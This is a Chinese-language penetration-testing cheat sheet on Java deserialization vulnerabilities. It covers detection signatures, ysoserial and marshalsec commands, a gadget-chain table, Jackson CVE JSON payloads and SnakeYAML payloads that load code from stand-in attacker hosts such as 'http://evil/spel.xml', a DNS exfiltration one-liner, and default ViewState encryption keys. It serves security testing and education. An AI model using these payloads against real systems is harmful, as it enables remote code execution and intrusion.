Java 反序列化 (Java Deserialization)
Java 序列化是将 Java 对象的状态转换为字节流的过程,该字节流可以被存储或传输,随后可以重新构造(反序列化)回原始对象。Java 中的序列化主要通过
Serializable接口完成,该接口将一个类标记为可序列化的,从而允许其保存到文件、通过网络发送或在 JVM 之间传输。
摘要 (Summary)
- 检测 (#detection)
- 工具 (#tools)
- YAML 反序列化 (#yaml-deserialization)
- ViewState (#viewstate)
- 参考资料 (#references)
检测 (Detection)
- 十六进制中的
"AC ED 00 05"AC ED:STREAM_MAGIC。指定这是一个序列化协议。00 05:STREAM_VERSION。序列化版本。
- Base64 中的
"rO0" Content-Type= "application/x-java-serialized-object"- gzip(base64) 中的
"H4sIAAAAAAAAAJ"
工具 (Tools)
Ysoserial
frohoff/ysoserial :一个用于生成利用不安全 Java 对象反序列化漏洞的 Payload 的概念验证工具。
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
ysoserial 中包含的 Payload 列表:
| Payload | 作者 | 依赖项 |
|---|---|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| JRMPClient | @mbechler | |
| JRMPListener | @mbechler | |
| JSON1 | @mbechler | json-lib |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME | @mbechler | rome:1.0 |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| URLDNS | @gebl | |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
Burp 扩展 (Burp extensions)
- NetSPI/JavaSerialKiller - 执行 Java 反序列化攻击的 Burp 扩展。
- federicodotta/Java Deserialization Scanner - 用于检测和利用 Java 反序列化漏洞的多合一 Burp Suite 插件。
- summitt/burp-ysoserial - YSOSERIAL 与 Burp Suite 的集成。
- DirectDefense/SuperSerial - Burp Java 反序列化漏洞识别工具。
- DirectDefense/SuperSerial-Active - Java 反序列化漏洞主动识别 Burp 扩展程序。
备选工具 (Alternative Tooling)
- pwntester/JRE8u20_RCE_Gadget - 纯 JRE 8 RCE 反序列化 Gadget。
- joaomatosf/JexBoss - JBoss(以及其他 Java 反序列化漏洞)验证和利用工具。
- pimps/ysoserial-modified - 原始 ysoserial 应用程序的一个分叉版本。
- NickstaDB/SerialBrute - Java 序列化暴力破解攻击工具。
- NickstaDB/SerializationDumper - 一个以更易读的形式转储 Java 序列化流的工具。
- bishopfox/gadgetprobe - 利用反序列化暴力破解远程类路径。
- k3idii/Deserek - 用于序列化和反序列化 Java 二进制序列化格式的 Python 代码。
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
- mbechler/marshalsec - Java 反序列化安全 - 将您的数据转化为代码执行。
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - 生成/测试该格式化程序的所有 payload
// -t - 以测试模式运行,在生成后反序列化生成的 payload。
// -v - 详细模式,例如在测试模式下也显示生成的 payload。
// gadget_type - 特定 gadget 的标识符,如果省略,将显示该特定格式化程序可用的 gadget。
// arguments - Gadget 特定的参数
包含以下格式化程序的 Payload 生成器:
| 格式化程序 (Marshaller) | Gadget 影响 |
|---|---|
| BlazeDSAMF(0|3|X) | 仅限 JDK,提升至 Java 序列化各种第三方库 RCE |
| Hessian|Burlap | 各种第三方 RCE |
| Castor | 依赖项库 RCE |
| Jackson | 可能仅限 JDK RCE,各种第三方 RCE |
| Java | 另一个第三方 RCE |
| JsonIO | 仅限 JDK RCE |
| JYAML | 仅限 JDK RCE |
| Kryo | 第三方 RCE |
| KryoAltStrategy | 仅限 JDK RCE |
| Red5AMF(0|3) | 仅限 JDK RCE |
| SnakeYAML | 仅限 JDK RCE |
| XStream | 仅限 JDK RCE |
| YAMLBeans | 第三方 RCE |
JSON 反序列化 (JSON Deserialization)
可以使用多个库来处理 Java 中的 JSON。
Jackson:
Jackson 是一个流行的 Java 库,用于处理 JSON(JavaScript 对象表示法)数据。 Jackson-databind 支持多态类型处理 (Polymorphic Type Handling, PTH),以前称为“多态反序列化”,该功能默认是禁用的。
要确定后端是否使用 Jackson,最常用的技术是发送一个无效的 JSON 并检查错误消息。查找其中任何一个引用:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
- com.fasterxml.jackson.databind
- org.codehaus.jackson.map
漏洞利用 (Exploitation):
- CVE-2017-7525
json
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}
- CVE-2017-17485
{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}
- CVE-2019-12384
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}
]
- CVE-2020-36180
[
"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
}
]
-
CVE-2020-9548
YAML 反序列化 (YAML Deserialization)
SnakeYAML:
SnakeYAML 是一个流行的基于 Java 的库,用于解析和发射 YAML(YAML Ain't Markup Language)数据。它为处理 YAML 提供了一个易于使用的 API。YAML 是一种人类可读的数据序列化标准,通常用于配置文件和数据交换。
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
ViewState
在 Java 中,ViewState 指的是 JavaServer Faces (JSF) 等框架在 Web 应用程序的 HTTP 请求之间维护 UI 组件状态的机制。主要有两种实现:
- Oracle Mojarra (JSF 参考实现)
- Apache MyFaces
工具:
- joaomatosf/jexboss - JexBoss: Jboss(以及 Java 反序列化漏洞)验证和利用工具。
- Synacktiv-contrib/inyourface - InYourFace 是一个用于修补未加密和未签名的 JSF ViewState 的软件。
编码 (Encoding)
| 编码 | 开头为 |
|---|---|
| base64 | rO0 |
| base64 + gzip | H4sIAAA |
存储 (Storage)
javax.faces.STATE_SAVING_METHOD 是 JavaServer Faces (JSF) 中的一个配置参数。它指定框架应如何在 HTTP 请求之间保存组件树(页面上 UI 组件的结构和数据)的状态。
存储方法也可以从 HTML 正文中的 ViewState 表示形式推断出来。
- 服务端存储:
value="-XXX:-XXXX" - 客户端存储:
base64 + gzip + Java Object
加密 (Encryption)
默认情况下,MyFaces 使用 DES 作为加密算法,并使用 HMAC-SHA1 来对 ViewState 进行身份验证。配置更新的算法(如 AES 和 HMAC-SHA256)是可能且推荐的。
| 加密算法 | HMAC |
|---|---|
| DES ECB (默认) | HMAC-SHA1 |
支持的加密方法有 BlowFish, 3DES, AES,并由上下文参数定义。 这些参数的值及其密钥可以在以下 XML 子句中找到。
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
来自 文档 的常见密钥。
| 名称 | 值 |
|---|---|
| AES CBC/PKCS5Padding | NzY1NDMyMTA3NjU0MzIxMA== |
| DES | NzY1NDMyMTA=< |
| DESede | MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz |
| Blowfish | NzY1NDMyMTA3NjU0MzIxMA |
| AES CBC | MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz |
| AES CBC IV | NzY1NDMyMTA3NjU0MzIxMA== |
- 加密过程:Data -> 加密 -> hmac_sha1 签名 -> b64 编码 -> url 编码 -> ViewState
- 解密过程:ViewState -> url 解码 -> b64 解码 -> hmac_sha1 验证签名 -> 解密 -> Data
参考资料 (References)
- 使用 DNS 外带检测反序列化漏洞 - Philippe Arteau - 2017年3月22日
- 利用 Jackson RCE: CVE-2017-7525 - Adam Caudill - 2017年10月4日
- Hack The Box - Arkham - 0xRick - 2019年8月10日
- 我如何发现一个价值 1500 美元德反序列化漏洞 - Ashish Kunwar - 2018年8月28日
- Jackson CVE-2019-12384: 漏洞类剖析 - Andrea Brancaleoni - 2019年7月22日
- Jackson gadget - 漏洞剖析 - Andrea Brancaleoni - 2019年7月22日
- Jackson 多态反序列化 - FasterXML - 2020年7月23日
- Java 反序列化速查表 - Aleksei Tiurin - 2023年5月23日
- ViewState 中的 Java 反序列化 - Haboob Team - 2020年12月23日
- JSF ViewState 颠倒 - Renaud Dubourguais, Nicolas Collignon - 2016年3月15日
- 配置错误的 JSF ViewState 可能导致严重的 RCE 漏洞 - Peter Stöckli - 2017年8月14日
- 关于 Jackson CVE:不要惊慌 —— 这是你需要知道的 - cowtowncoder - 2017年12月22日
- ForgeRock OpenAM 中的预授权 RCE (CVE-2021-35464) - Michael Stepankin (@artsploit) - 2021年6月29日
- 使用 Java 反序列化触发 DNS 查找 - paranoidsoftware.com - 2020年7月5日
- 理解并实践 Java 反序列化利用 - Diablohorn - 2017年9月9日
- 13 号星期五 JSON 攻击 - Alvaro Muñoz & Oleksandr Mirosh - 2017年7月28日